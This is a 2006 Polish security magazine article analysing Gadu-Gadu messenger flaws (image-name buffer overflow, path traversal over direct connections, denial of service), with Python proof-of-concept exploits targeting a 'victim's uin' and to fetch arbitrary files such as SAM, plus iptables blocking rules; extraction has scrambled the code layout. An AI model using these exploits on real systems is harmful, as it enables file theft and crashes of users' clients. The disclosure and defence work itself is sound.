background image

bezpieczeństwo

28

styczeń 2006

bezpieczeństwo

niebezpieczne gadu-gadu

29

www.lpmagazine.org

Analiza 

bezpieczeństwa 

komunikatora 

internetowego 

z wykorzystaniem platformy Linux

Błażej Miga, Jarosław Sajko

M

ożna zaryzykować tezę, że 
u boku poczty elektronicz-
nej, panującej od wielu lat 
w królestwie usług komu-

nikacji  internetowej,  wyrósł  jej  w  ciągu 
ostatnich  lat  nie  mniej  potężny  i  niewie-
le  mniej  popularny  książę  –  komunika-
tor  internetowy  (ang.  instant  messenger). 
Zagościł on nie tylko w domostwach zwy-
kłych ludzi, ale również w małych, więk-
szych i największych korporacjach i insty-
tucjach  administracji  publicznej,  stając 
się  tym  samym  narzędziem  komunikacji 
o wszechstronnym zastosowaniu. Pakiety 
komunikatorów  niosą  informacje  różnej 
kategorii,  począwszy  od  plotek  i  uzgod-
nień co do miejsca wieczornego spotkania, 
a  skończywszy  na  mniej  jawnych  infor-
macjach, np. szczegółach umowy handlo-
wej  czy  też  danych  dostępowych.  Jestem 
przekonany,  ze  niejeden  administrator 
sieci  próbował  walczyć  z  komunikatora-
mi  do  czasu,  gdy  okazało  się,  że  są  one 
niemal tak potrzebne w pracy, jak telefony. 
Teraz te walki mogą mieć jedynie charak-
ter  ambicjonalny,  ponieważ  faktem  stało 
się,  że  komunikator  stał  się  tak  niezbęd-
ny, jak email.

Z  tego  powodu  nasze  przekonanie, 

że  bezpieczeństwo  aplikacji  komunikato-
ra  internetowego  jest  nie  mniej  krytycz-
ne  dla  bezpieczeństwa  całej  infrastruk-
tury  niż  bezpieczeństwo  przeglądania 
stron WWW, systemu poczty elektronicz-
nej czy też fakt istnienia poprawnie skon-
figurowanego  systemu  zapory  sieciowej. 
Postanowiliśmy  przyjrzeć  się,  jak  wyglą-
da poziom bezpieczeństwa naszych rodzi-

mych  komunikatorów.  Trudno  nie  zgo-
dzić  z  faktem,  że  jednym  z  najbardziej 
popularnych jest Gadu-Gadu. To on wła-
śnie stał się tym, który poszedł na pierw-
szy  ogień.  To  właśnie  na  jego  przykła-
dzie  postaramy  się  zaprezentować  meto-
dykę  analizy  tego  typu  aplikacji,  miejsca, 
gdzie mogą pojawić się słabe punkty oraz 
pokazać przykładowe narzędzia do testów 
penetracyjnych.

Platformą,  na  której  będą  uruchamia-

ne  wszystkie  narzędzia  oraz  kody  testu-
jące  podatności,  będzie  Linux,  ponieważ 
system  ten  doskonale  sprawdza  się  jako 
system do przeprowadzania testów pene-
tracyjnych.  Podczas  prezentowania  kon-
kretnych  błędów  bezpieczeństwa  będą 
wyszczególniane  dwie  wersje  klienta  dla 
systemu Windows, tzn. wersja 6 build 154 
oraz wersja 7 build 20 – dla nich będą pre-
zentowane  kody  proof-of-concept  napisane 
Pythonie.

Potencjalne problemy

W grudniu 2004 roku Zespół Bezpieczeństwa 
PCSS
  publikował  informacje  o  podatno-
ściach na pewne klasy ataków występują-
cych w aplikacjach klienckich Gadu-Gadu
Tlen.PL  oraz  WPKontakt.  Dwie  z  nich 
były  związane  ze  schematem  komuni-
kacji  i  protokołem  wykorzystywanym 
przez GG. Właśnie je postaramy się teraz 
opisać. W zasadzie mogłyby to być przy-
kłady  tego,  jak  nie  należy  projektować 
protokołu i jak nie należy implementować 
jego obsługi.

Krytyczne  dla  bezpieczeństwa  aplika-

cji jest to, w jaki sposób aplikacja ta obcho-

 DVD

Po uruchomieniu Linux+ Live 

DVD można skorzystać z kilku 
komunikatorów internetowych, 

w tym Kadu.

Na płycie DVD

Na płycie DVD znajdują się kody 

proof-of-concept dla większości 

prezentowanych błędów 

bezpieczeństwa.

O autorach

Autorzy to pracownicy Zespołu 

Bezpieczeństwa Poznańskiego 

Centrum Superkomputerowo– 

Sieciowego, który zajmuje 

się m.in. administracją 

systemów bezpieczeństwa 

teleinformatycznego, 

audytami bezpieczeństwa, 

testami penetracyjnymi oraz 

analizą kodów.

background image

bezpieczeństwo

28

styczeń 2006

bezpieczeństwo

niebezpieczne gadu-gadu

29

www.lpmagazine.org

Analiza 

bezpieczeństwa 

komunikatora 

internetowego 

z wykorzystaniem platformy Linux

dzi  się  z  danymi  dostarczonymi  do  niej 
z zewnątrz, a w szczególności przez użyt-
kownika, który może mieć nieczyste intencje. 
Żelazną regułą przy operacjach na danych 
dostarczanych przez użytkownika do pro-
gramu jest brak zaufania do tych danych i w 
związku z tym dokładne i ostrożne spraw-
dzenie  ich  pod  kątem  poprawności  przed 
ich przetworzeniem. Pogwałcenie tej reguły 
może skutkować tym, że program napisany 
w celu wykonywania konkretnych czynno-
ści będzie mógł posłużyć komuś do wyko-
nania zupełnie innych czynności, nie prze-
widzianych specyfikacją.

Takie zdarzenie miało miejsce w przy-

padku  błędu  związanego  z  przesyła-

niem obrazków w GG w wielu wersjach. 
Dołączony  do  artykułu  kod  proof-of-con-
cept
 będzie miał zastosowanie dla wersji 6 
build 154 oraz 7 build 20, ale z pewnością 
można go ulepszyć tak, aby można go było 
zastosować  dla  innych  wersji,  do  czego 
gorąco zachęcam.

Jak  wiadomo,  poza  czystymi  wiado-

mościami  tekstowymi,  można  komuś  w 
tekście wysłać obrazek. Jak to się odbywa? 
Najpierw  wysyłana  jest  struktura  z  infor-
macją o tym, że tekst będzie zawierał obra-
zek. Obrazek identyfikowany jest przez roz-
miar i sumę kontrolną. Jeżeli nasz rozmów-
ca nie ma obrazka o takiej samej sumie kon-
trolnej i rozmiarze, czyli nie ma jeszcze na 
dysku  obrazka,  który  chcemy  wyświetlić 
w  jego  okienku  komunikatora,  to  wysyła 
nam  prośbę  o  dosłanie  mu  tego  obrazka. 
Dosyłamy  go  wraz  ze  standardową  struk-
turą,  która  go  opisuje.  Zawiera  ona  rów-
nież nazwę obrazka, która jest źródłem pro-
blemów:

•   W wersji 6 build 154 i prawdopodob-

nie starszych nazwa pliku jest kopio-
wana do bufora bez sprawdzania jej 
długości, a bufor do której jest kopio-
wana,  jest  obszarem  o  stałej  wielko-
ści,  alokowanym  najpierw  na  ster-
cie,  a  następnie  na  stosie.  Prowadzi 
to  do  przepełnienia  bufora,  zarów-

no na stercie, jak i na stosie, co z kolei 
można  wykorzystać  do  wykonania 
kodu  atakującego  na  komputerze 
ofiary.

•   W wersji 7 build 20 i prawdopodobnie 

starszych długość nazwy pliku jest co 
prawda sprawdzana (tzn. czy jest ona 
mniejsza  niż  200  znaków  i  takiej  też 
stałej  wielkości  jest  bufor  alokowany 
na  stosie),  ale  do  tego  bufora  kopio-
wana jest nazwa pliku doklejona naj-
pierw  do  nazwy  katalogu  imgcache\
a  więc  w  brzegowym  przypadku 
łańcuch  znaków  o  9  bajtów  przekra-
cza swoją długością zaalokowany dla 
niego bufor. Konsekwencje tego prze-
pełnienia w wersji 7 są zdecydowanie 
mniej  groźne,  gdyż  aplikacja  zosta-
ła  skompilowana  z  ochroną  stosu 
(StackGuard).

•   W wersjach 7 oraz 6 i prawdopodob-

nie wszystkich wcześniejszych nazwa 
pliku,  która  jest  ustalana  przez  osobę 
wysyłająca  obrazek,  nie  jest  spraw-
dzana  pod  kątem  zawartości  nazw 
urządzeń  specjalnych,  tzn.  możemy 
nazwać  plik  z  obrazkiem  tak,  jak 
urządzenie  specjalne,  czyli  np.  AUX, 
LPT1,  COM1  itd...  Można  tę  podat-
ność wykorzystać do wykonania ope-
racji czytania bądź pisania do takiego 
urządzenia, co w najlepszym przypad-
ku zablokuje klienta GG.

•   W  wersjach  z  rodziny  6  nazwa  pliku 

nie  jest  sprawdzana  pod  kątem 
zawartości  prawie  wcale,  więc  mo-
żemy  w  nazwie  plików  użyć  tagów 
HTML czy też referencji \..\, co w efe-
kcie  może  prowadzić  do  wykona-
nia  kodu  atakującego  na  kompute-
rze ofiary.

Rysynek 1. 

Klient A nawiązuje połączenie 

bezpośrednie z pominięciem serwera 
komunikacyjnego

Rysunek 2. 

Klient A wysyła komunikat 

do klienta B za pośrednictwem serwera 
komunikacyjnego z żądaniem nawiązania 
połączenia, a klient B w odpowiedzi 
nawiązuje połączenie

W  przypadku,  gdy  chcemy  wysłać  komu-
nikat tekstowy do użytkownika o zadanym 
numerze, nasza aplikacja kliencka wysyła 
komunikat  do  serwera  komunikacyjnego. 
Po przepakowaniu do innej struktury, treść 
komunikatu  wysyłana  jest do odbiorcy. W 
tym przypadku mamy komunikację z uży-
ciem  centralnego  serwera.  Opcjonalne  w 
tym  schemacie  jest  potwierdzenie  odbio-
ru  nadawane  przez  odbiorcę  po  otrzyma-
niu komunikatu.

Aby  nawiązać  połączenie  bezpo-

średnie,  komunikator  musi  znać  adres, 
z  którym  ma  się  połączyć  (jest  on  wysy-
łany  do  serwera  komunikacyjnego  pod-
czas  logowania).  Oczywiście,  nie  zawsze 
nawiązanie  bezpośredniego  połączenia 
jest możliwe, np. w sytuacji, gdy czyjś kom-
puter jest za NAT. W takiej sytuacji mamy 
dwa rozwiązania:

•   użytkownik  może  podczas  logowa-

nia  podać  adres  zewnętrzny,  np.  adres 
bramy do Internetu, poprzez który będzie 

można  z  nim  nawiązywać  połączenia 
z zewnątrz;

•   innym  sposobem  jest  skorzystanie 

z  możliwości  poproszenia  drugiego 
użytkownika o nawiązanie połączenia 
z  adresem  przez  nas  podanym,  tzn. 
za pomocą specjalnego pakietu prze-
słanego do użytkownika przez serwer 
komunikacyjny  wywołać  po  stronie
odbiorcy procedurę nawiązywania po-
łączenia  zwrotnego  z  adresem  poda-
nym przez nas podczas logowania się 
do systemu. Tym specjalnym pakietem 
jest pakiet CTCP z pierwszym bajtem 
danych o wartości 1.

Jak  widać,  mamy  tutaj  w  ogólności  dwa 
schematy  komunikacji:  jeden  to  opisany 
wcześniej  schemat  z  centralnym  serwe-
rem, a drugi to schemat połączeń bezpo-
średnich, które są realizowane z pominię-
ciem serwera komunikacyjnego, z tym, że 
ich  inicjalizacja  może  wymagać  serwera 
komunikacyjnego.

Serwer Komunikacyjny

Klient A

Klient B

Klient A

Klient B

Serwer Komunikacyjny

Schematy komunikacji w Gadu-Gadu

background image

bezpieczeństwo

30

styczeń 2006

bezpieczeństwo

niebezpieczne gadu-gadu

31

www.lpmagazine.org

#!/usr/bin/python

import

 

socket

import

 

struct

import

 

sys

from

 

select

 

import

 

select

from

 

random

 

import

 

randint

GG_VERSION

 

=

 

"

\x

26

\x

00

\x

00

\x

c2"

GG_LOGIN

 

=

 

0x15

 

;

 

GG_MSG

 

=

 

0x0b

GG_NOTIFY

 

=

 

0x0f

GG_NOTIFY_LAST

 = 

0x10 

NUL

 = "

\x00

"

def

 

ip2b(ip)

:

 

s

 

=

 

""

 

for

 

o

 

in

 

ip

.

split

(

"."

):

  

s

 

+=

 

chr

(

int

(

o

))

 

return

 

s

def

 

compute_hash

(

password

seed

):

 y = 

long(seed)

 ; x = 

long

(

0

) ; z = 

long

(

0

)

 for

 i in 

range

(0,

len

(password)):

  

x

 

=

 

(

x

 

&

 

0xffffff00L

)

 

|

 

ord

(

password

[

i

:

i

+

1

])

  y = (y^x)&

0xffffffffL 

; y = (y+x)&

0xffffffffL

  

x

 

=

 

(

x

<<

8

)&

0xffffffffL

 

;

 

y

 

=

 

(

y

^

x

)&

0xffffffffL

  x = (x<<

8

)&

0xffffffffL

 ; y = (y-x)&

0xffffffffL

  

x

 

=

 

(

x

<<

8

)&

0xffffffffL

 

;

 

y

 

=

 

(

y

^

x

)&

0xffffffffL

  z = (y & 

0x1f

)&

0xffffffffL

  

y

 

=

 

((

y

 

<<

 

z

)

 

|

 

(

y

 

>>

 

(

32

 

-

 

z

))&

0xffffffffL

)

 

return

 

int

((

y

&

0xffffffffL

))

class

 

GGConnection

:

 

def

 

send

(

self

ptype

pcontent

):

  

self

.

sck

.

send

(

struct

.

pack

(

"II"

ptype

len

(

pcontent

)))

  

self

.

sck

.

send

(

pcontent

)

 def

 

recv

(

self

):

  

ptype

,

plen

 

=

 

struct

.

unpack

(

"II"

self

.

sck

.

recv

(

8

))

  

pcontent

 

=

 

self

.

sck

.

recv

(

plen

)

  

return

 

ptype

pcontent

 

def

 

poll

(

self

timeout

=

0

):

  

ready

 

=

 

select

([

self

.

sck

]

[]

[]

timeout

)

  

if

 

ready

[

0

]

 

==

 

[]:

   

return

 

0

  

return

 

1

 

def

 

createLoginStruct

(

self

seed

status

,

    

myIP

dccIP

dccPort

):

  

passhash

 

=

 

compute_hash

(

self

.

password

seed

)

  

buff

 

=

 

struct

.

pack

(

"III"

self

.

uin

passhash

status

)

 

 buff

 += 

GG_VERSION

 ; 

buff += NUL

  

buff

 += 

ip2b(myIP)

   

# dcc data

  

buff

 

+=

 

struct

.

pack

(

"H"

dccPort

)

  

if

 

myIP

 

!=

 

dccIP

:

   

buff

 += 

ip2b(dccIP)

 ; 

buff

 

+=

 

struct.pack

(

"H"

dccPort

)

  

else

:

   

buff

 

+=

 

6

*

NUL

  

# image size in kilos, unknown

  

buff

 

+=

 

struct

.

pack

(

"BB"

,

100

,

190

)

  

return

 

buff

 def

 

__init__

(

self

uin

password

):

  

self

.

uin

 

=

 

uin

 

;

 

self

.

password

 

=

 

password

 ; 

self

.

seq

 

=

 

0

 

def

 

login

(

self

buff

):

  

self.send

(

GG_LOGIN, buff

)

  

if

 

self

.

recv

()[

0

]

 

==

 

3

:

   

return

 

1

  

else

:

   

return

 

0

 

def

 

connect

(

self

dccIP

dccPort

status

=

2

):

  

myIP

 

=

 

socket

.

gethostbyname

(

socket

.

gethostname

())

  

ipAddress

 = "

217.17.41.85

" ; 

tcpPort

 = 

443

  

servAddress

 

=

 

(

ipAddress

int

(

tcpPort

))

  

self

.

sck

 

=

 

socket

.

socket

(

socket

.

AF_INET

,

S

 

     

socket

.

SOCK_STREAM

)

  

self

.

sck

.

connect

(

servAddress

)

  

self

.

sck

.

settimeout

(

60

)

  

print

 

"[GG] Connected!"

  

seed

 

=

 

struct

.

unpack

(

"I"

self

.

recv

()[

1

])[

0

]

  

buff

 

=

 

self

.

createLoginStruct

(

seed

status

,

S

 

     

myIP

dccIP

dccPort

)

  

if

 

self

.

login

(

buff

):

   

print

 

"[GG] Logged in."

  

else

:

   

print

 

"[GG] Login Failed."

 

def

 

disconnect

(

self

):

  

print

 

"[GG] Disconnected."

  

self

.

sck

.

close

()

 

def

 

sendImage

(

self

uin

imageSize

imageContent

):

  

imageChecksum

 

=

 

struct

.

pack

(

"i"

,

(

randint

S

     

(-

sys

.

maxint

sys

.

maxint

)))

  

img

 = "

\x09\x01

" ; 

img

 += 

struct.pack

(

"i"

,

imageSize

  

img 

+=

 

imageChecksum

 

;

 

rich

 

=

 

"

\x

00

\x

00

\x

80"

  

rich

 

+=

 

img

  

buff

 

=

 

struct

.

pack

(

"iii"

int

(

uin

)

self

.

seq

0x28

)

  

buff

 

+=

 

struct

.

pack

(

"bb"

0

2

)

  

buff

 

+=

 

struct

.

pack

(

"h"

len

(

rich

))

 

;

 

buff

 

+=

 

rich

  

self.send(GG_MSG, buff)

 ; 

self.seq

 += 

1

  

imageReply

 

=

 

struct

.

pack

(

"bb"

0

5

)

  

imageReply

 

+=

 

struct

.

pack

(

"i"

imageSize

)

  

imageReply

 

+=

 

imageChecksum

  

imageReply

 

+=

 

imageContent

  

buff

 

=

 

struct

.

pack

(

"iii"

int

(

uin

)

0

4

)

  

buff

 

+=

 

imageReply

  

self

.

send

(

GG_MSG

buff

)

if

 

__name__

==

"__main__"

:

 

if

 

len

(

sys

.

argv

)

 

<

 

4

:

  

print

 

"usage: cmd <your uin> <your password>

S

     <victim's uin>"

  

sys

.

exit

()

 

myUin

 

=

 

int

(

sys

.

argv

[

1

])

 

;

 

myPass

 

=

 

sys

.

argv

[

2

]

 

victimsUin

 = 

int

(

sys.argv

[

3

])

 

imageName

 

=

 

199

*

"A"

+

"

\x

00"

 

imageContent

 

=

 

"ABCDEFGHIJ"

 

g

 

=

 

GGConnection

(

myUin

myPass

)

 

g

.

connect

(

"0.0.0.0"

0

0x14

)

 

g

.

sendImage

(

victimsUin

len

(

imageContent

)

,

S

  

    

imageName

+

imageContent

)

 

print

 

"[Main] Payload has sent"

 

g

.

disconnect

()

 

;

 

sys

.

exit

()

Listing 1. 

Kod proof-of-concept dla przepełnienia bufora nazwy obrazka przesyłanego w ramach rozmowy (dla wersji klienta 7 build 20).

background image

bezpieczeństwo

30

styczeń 2006

bezpieczeństwo

niebezpieczne gadu-gadu

31

www.lpmagazine.org

Jest to tylko jeden z elementów przesyła-
nej struktury, a jak widać, może przyspo-
rzyć wielu problemów związanych z bez-
pieczeństwem. Prawie we wszystkich wer-
sjach  aplikacji,  również  w  ostatniej  (na 
dzień  pisania  artykułu),  występują  pro-
blemy z nazwą pliku, która tak naprawdę 
nie jest potrzebna. Wystarczy, że nadawca 
określi treść, a nazwę, pod jaką plik z gra-
fiką jest zapisywany w cache'u, może usta-
lać odbiorca.

Na  Listingu  1  znajduje  się  ilustracja 

dla  błędu  związanego  z  przepełnieniem 
bufora.  Jest  to  kod  działający  dla  wersji 
7  build  20  klienta  GG  dla  Windows  oraz 
prawdopodobnie  starszych.  Listing  ten, 
poza funkcją main, która z punktu widze-
nia  tego  proof-of-concept  jest  najważniej-
sza, zawiera również klasę GGConnection
która  realizuje  połączenie  z  serwerem 
komunikacyjnym  i  autoryzację.  Będzie 
ona wykorzystywana we wszystkich przy-
kładach. Jej metoda connect jest odpowie-
dzialna  za  przeprowadzenie  procedury 
autoryzacji  użytkownika  w  systemie,  jak 
również korzysta pośrednio z funkcji com-
pute_hash
, która jest z kolei odpowiedzial-
na za obliczenie skrótu hasła na podstawie 
otrzymanej wartości seed. Przy połączeniu 
pomijany  jest  krok  z  łączeniem  się  z  ser-
werem  WWW  i  pobieraniem  adresu  ser-
wera  komunikacyjnego,  więc  może  zda-
rzyć  się  tak,  że  będzie  konieczna  ręczna 
zmiana adresu zapisanego w ciele metody. 
W kodzie w main nawiązujemy połączenie 
z serwerem, podając swoje dane dostępo-
we oraz status 0x14, co oznacza, że naszym 
początkowym  statusem  ma  być  “niewi-
dzialny”. Następnie wysyłamy do komu-
nikatora, który testujemy, pakiet z obraz-
kiem. To on, a dokładniej zawarta w nim 
nazwa,  powoduje  przepełnienie  bufora 
w testowanym komunikatorze.

Innym miejscem, któremu postanowi-

liśmy  się  przyjrzeć,  były  połączenia  bez-
pośrednie.  Gadu-Gadu,  jak  również  inne 
komunikatory,  wykorzystuje  je  np.  do 
przesyłania  plików  pomiędzy  użytkow-
nikami.  W  przypadku  GG  okazało  się, 
że  obsługa  tych  połączeń  zawiera  kilka 
podatności godnych uwagi.

Pierwsza  i  być  może  najciekawsza

występowała  w  wersjach  6  build  154 
i  wcześniejszych.  Zaprogramowana  jest 
w nich funkcjonalność służąca do przesy-
łania plików z katalogu _cache (najczęściej 
znajdują  się  tam  pliki  z  bannerami)  jed-
nego komunikatora do drugiego z wyko-
rzystaniem  bezpośredniego  połączenia 

Listing 2. 

Przykład wykorzystania podatności związanej z przesyłaniem plików przez 

połączenia bezpośrednie (dla wersji 6 build 154)

#

!

/

usr

/

bin

/

python

...

def

 

b2i

(

bts

):

 

return

 

((

1

*

ord

(

bts

[

0

]))+(

256

*

ord

(

bts

[

1

]))+(

65536

*

ord

(

bts

[

2

]))

S

    +(

16777216

*

ord

(

bts

[

3

])))

def

 

runServer

(

servaddress

filename

):

 

try

:

  

print

 

"[DCC Server] Server started"

  

output

 

=

 

filename

.

split

(

"

\\

"

)[-

1

]

  

s

 

=

 

socket

.

socket

(

socket

.

AF_INET

socket

.

SOCK_STREAM

)

  

s

.

bind

(

servaddress

)

 

;

 

s

.

listen

(

1

) ;

 

(

conn

address

)

 

=

 

s

.

accept

()

  

  

conn

.

settimeout

(

5.0

)

  

print

 

"[DCC Server] Connection accepted"

  

tmp

 

=

 

conn

.

recv

(

4

)

 

;

 

tmp

 

=

 

conn

.

recv

(

4

)

  

conn.send

(

"UDAG"

) ; 

tmp

 = 

conn.recv

(

4

)

  

print

 

"[DCC Server] Authorization OK"

  

fname

 

=

 

"

\x

01"

+

filename

+

"

\x

00"

  

buff

 

=

 

"

\x

04

\x

00

\x

00

\x

00"

  

buff

 

+=

 

struct

.

pack

(

I

”,

len

(

fname

))

  

buff

 

+=

 

fname ; conn

.

send

(

buff

)

 

;

 

conn

.

recv

(

8

)

  

conn

.

recv

(

1

+

len

(

filename

)) ; 

conn

.

recv

(

4

)

  

length

 

=

 

b2i

(

conn

.

recv

(

4

))

 

-

 

len

(

filename

)

 

-

 

2

  

print

 

"[DCC Server] File length: %d"

 

%

 

length

  

conn

.

recv

(

2

+

len

(

filename

)) ; 

f

 

=

 

file

(

output

"wb+"

)

  

while

 

length

 

>

 

0

:

   

if

 

length

 

>

 

4096

:

    

buff

 

=

 

conn

.

recv

(

4096

)

   

elif

 

length

 

<=

 

4096

:

    

buff

 

=

 

conn

.

recv

(

length

)

   

f

.

write

(

buff

)  

   

length

 

=

 

length

 

-

 

len

(

buff

)

  

print

 

"[DCC Server] File written"

  

conn.close

() ;

 

f.close

()

 

except

:

  

print

 

"[DCC Server] No such file or not exploitable"

if

 

__name__

 

==

 

"__main__"

:

 

myIP

 

=

 

socket

.

gethostbyname

(

socket

.

gethostname

())

 

myPort

 

=

 

443

 

if

 

len

(

sys

.

argv

)

 

<

 

5

:

  

print

 

"usage: cmd <your uin> <your password> <victim's uin> <filename>"

  

sys

.

exit

()

 

myUin

 = 

int

(

sys.argv

[

1

]) ; 

myPass = sys.argv

[

2

]

 

victimsUin

 

=

 

int

(

sys

.

argv

[

3

])

 

fname

 

=

 

sys

.

argv

[

4

]

 

serverThread

 

=

 

Thread

(

None

runServer

,

S

 

    

"ServerThread"

((

myIP

myPort

)

fname

)

{}

)

 

serverThread

.

start

()

 

g

 

=

 

gg

.

GGConnection

(

myUin

,

myPass

)

 

g

.

connect

(

myIP

myPort

)

 

g

.

sendNotify

([

victimsUin

])

 

g

.

sendCtcp

(

victimsUin

1

)

 

serverThread

.

join

()

 

g

.

disconnect

()

background image

bezpieczeństwo

32

styczeń 2006

bezpieczeństwo

niebezpieczne gadu-gadu

33

www.lpmagazine.org

ne miejsce zawiera klasę i funkcje pomoc-
nicze, tak jak na Listingu 1. W tym przy-
padku  wykorzystujemy  połączenia  bez-
pośrednie, więc podczas logowania poda-
jemy  adres  dla  takich  połączeń,  jak  rów-
nież  uruchamiamy  wątek  serwera  (jest 
on  odpowiedzialny  za  przyjęcie  nadcho-
dzącego połączenia oraz wysłanie żądania 
nadesłania pliku).

W  wersjach  7,  6  oraz  najprawdopo-

dobniej  we  wszystkich  innych  proto-
kół  używany  do  połączeń  bezpośred-
nich  przesyła  dane  w  nienumerowanych 
pakietach.  Ponadto,  reaguje  on  na  żąda-
nia  protokołu  w  większości  przypadków 
bez  dodatkowych  warunków  wewnętrz-
nych.  W  związku  z  tym  możliwe  jest 
wysłanie pakietu z kodem błędu informu-
jącym np. o tym, że użytkownik nie chce 
odebrać pliku, podczas gdy żaden plik nie 
był  wysyłany.  Co  więcej,  w  komunikacie 
takim nie będzie zawarta informacja, który 
użytkownik  nie  chce  odebrać  tego  pliku. 
Wysyłając  ciągle  ten  sam  pakiet  można 
wymusić wielokrotne wyświetlanie takie-
go i tak nie prawdziwego komunikatu, co 
tworzy podatność na atak na dostępność. 
Rozwiązaniem  tego  problemu  byłoby 
z  pewnością  przechowywanie  wewnętrz-
nie stanu nawiązanych połączeń.

Innym  przykładem  programistycz-

nego  błędu  jest  sytuacja,  która  dotyczy 
obsługi niektórych żądań przesyłanych za 
pomocą  połączeń  bezpośrednich.  Są  one 
w  nowej  wersji  (rodzina  wersji  7)  obsłu-
giwane  w  taki  sposób,  że  możliwe  jest 
zaalokowanie pamięci bez wykonania ob-
sługi żądania, co z kolei prowadzi czasem 
do takich sytuacji:

•   wysyłamy do ofiary żądanie nawiązania 

połączenia zwrotnego z adresem poda-
nym przez nas podczas logowania;

•   tym nawiązanym przez klienta ofiary 

połączeniem  bezpośrednim  wysyła-
my żądanie o kodzie np. 3, z informa-
cją, jak dużą porcję pamięci klient ma 
zaalokować (wielkość ta musi być nie 
większa niż 64kB);

•   wysyłamy  te  64kB  danych  i  przecho-

dzimy do kroku drugiego.

Jest  to  algorytm  wykorzystujący  podat-
ność  na  atak  na  dostępność  aplikacji. 
W dosyć krótkim czasie jesteśmy w stanie 
wymusić zaalokowanie dużej ilości pamię-
ci przez klienta GG naszego rozmówcy.

Błędów  związanych  z  obsługą  połą-

czeń  bezpośrednich  jest  jeszcze  kilka,  ale 

Listing 3. 

Konfiguracja zapory sieciowej do zabezpieczania przed połączeniami 

nawiązywanymi z zewnątrz

# Wyczyszczenie wszystkich tablic iptables

iptables

 -F

iptables

 -F -t nat

# Domyślne zblokowanie całego ruchu

iptables

 -P 

INPUT DROP

iptables

 -P 

OUTPUT DROP

iptables

 -P 

FORWARD DROP

# Zezwolenie na ruch, który odbywa się w ramach utworzonych połączeń

iptables

 –A 

FORWARD

 –j 

ACCEPT

 –m state –-state 

ESTABLISHED

iptables

 –A 

FORWARD

 –j 

ACCEPT

 –m state –-state 

RELATED

iptables

 –A 

INPUT

 –j 

ACCEPT

 –m state –-state 

ESTABLISHED

iptables

 –A 

INPUT

 –j 

ACCEPT

 –m state –-state 

RELATED

iptables

 –A 

OUTPUT

 –j 

ACCEPT

 –m state –-state 

ESTABLISHED

iptables

 –A 

OUTPUT

 –j 

ACCEPT

 –m state –-state 

RELATED

# Zezwolenie na tworzenie połączeń z sieci lokalnej

iptables

 –A 

FORWARD

 –o ppp0 –j 

ACCEPT

 –m state –-state 

NEW

iptables

 –A 

OUTPUT

 –o ppp0 –j

 ACCEPT

 –m state –-state 

NEW

# Maskarada dla wszystkich hostów z sieci lokalnej

iptables

 -t nat -A 

POSTROUTING

 -p all -s 10.0.0.0/24 -j 

MASQUERADE

Listing 4. 

Regułki IPTables wykrywające łączenie się klientów Gadu-Gadu z sieci lokalnej

iptables

 –A 

FORWARD

 –p tcp \! –f –m iprange –-dst-range 217.17.41.80-

S

   217.17.41.95 –m mport –-ports 8074,443 –m connbytes –-connbytes

S

 

   0:255 –m state 

ESTABLISHED

 –m length –-length 46:375 –m u32 –-u32

S

    

   “0>>22&0x3c@ 12>>26&0x3c@ 0=0x15000000” –j LOG –-log-prefix

S

 

   “GG LOGIN: “ –-log-level debug

iptables

 –A 

FORWARD

 –p tcp \! –f –m iprange –-dst-range 217.17.46.248-

S

  

217.17.46.255 –m mport –-ports 8074,443 –m connbytes –-connbytes

S

 

   0:255 –m state 

ESTABLISHED

 –m length –-length 46:375 –m u32 –-u32

S

   

   “0>>22&0x3c@ 12>>26&0x3c@ 0=0x15000000” –j LOG –-log-prefix

S

 

   “GG LOGIN: “ –-log-level debug

iptables

 –A 

FORWARD 

–p tcp \! –f –m iprange –-dst-range 217.17.45.128-

S

  

217.17.45.159 –m mport –-ports 8074,443 –m connbytes –-connbytes

S

 

   0:255 –m state 

ESTABLISHED

 –m length –-length 46:375 –m u32

S

 

   –-u32 “0>>22&0x3c@ 12>>26&0x3c@ 0=0x15000000” –j LOG

S

 

   –-log-prefix “GG LOGIN: “ –-log-level debug

pomiędzy  nimi.  Całość  przebiega  mniej 
więcej w następujący sposób:

•   Komunikator nawiązuje połączenie bez-

pośrednie  z  osobą  ze  swojej  listy  kon-
taktów. Osoba, z którą jest nawiązywa-
ne połączenie, musi mieć nas na swojej 
liście  kontaktów.  Połączenie  nawiązy-
wane  jest  według  schematów  z  ramki 
Schematy  komunikacji  w  Gadu-Gadu
a więc możliwe jest nawiązanie połącze-
nia z osobą znajdującą się za NAT-em.

•   Po przeprowadzeniu procedury auto-

ryzacyjnej  strona  inicjalizująca  połą-
czenie wysyła żądanie z nazwą pliku 
i  plik  o  takiej  nazwie  jest  tym  połą-

czeniem odsyłany do żądającego. Do-
kładniej rzecz ujmując, odsyłane jest 64 
kB tego pliku.

I  tym  razem  nie  jest  sprawdzane,  co  ta 
nazwa  pliku  zawiera,  więc  może  znaj-
dować  się  w  niej  ..\..\..\...,  co  daje  nam 
podatność 

umożliwiającą 

kradzież 

danych.  Dodatkowym  problemem  jest 
tutaj  to,  że  całość  tej  operacji  odbywa  się 
bez  informowania  użytkownika,  że  takie 
procesy zachodzą. Możemy bez problemu 
pobrać  plik  z  konfiguracją  GG,  listę  kon-
taktów, czy też plik SAM z katalogu win-
dows
. Ilustracja tej podatności znajduje się 
na  Listingu  2,  na  którym  wykropkowa-

background image

bezpieczeństwo

32

styczeń 2006

bezpieczeństwo

niebezpieczne gadu-gadu

33

www.lpmagazine.org

Komunikacja  w  połączeniach  bezpo-

średnich  realizowana  jest  na  losowych 
portach. W jaki sposób wyodrębnić odpo-
wiednie pakiety? Podczas tworzenia połą-
czenia  bezpośredniego  następuje  prosta 
autoryzacja  użytkowników.  Program 
nadawcy  wysyła  do  odbiorcy  8  bajtowy 
pakiet  z  dwoma  numerami  użytkowni-
ków, swoim i odbiorcy. Odbiorca potwier-
dza  nawiązanie  połączenia  4  bajtowym 
pakietem  z  słowem  „UDAG”.  Następnie 
nadawca  wysyła  informacje  o  kierunku 
przesyłki  pliku.  Dzięki  blokadzie  pakie-
tów zawierających słowo „UDAG” mamy 
możliwość zablokowania tego typu ruchu:

iptables –A FORWARD –p tcp \! –f –m 
connbytes –-connbytes 0:255 –m state 
ESTABLISHED –m length –-length 46:375 
–m u32 –-u32 “0>>22&0x3c@ 12>>26&0x3c@ 
0=0x55444147” –j DROP

Inna  możliwością  zablokowania  połączeń
bezpośrednich  jest  wypuszczenie  ruchu 
tylko  dla  ściśle  określonych  usług  np. 
DNS,  HTTP,  POP3,  SMTP,  co  przedsta-
wia Listing 5.

Podsumowanie

Komunikatory internetowe to świetne narzę-
dzie  porozumiewania  się.  I  jako  takie  po-
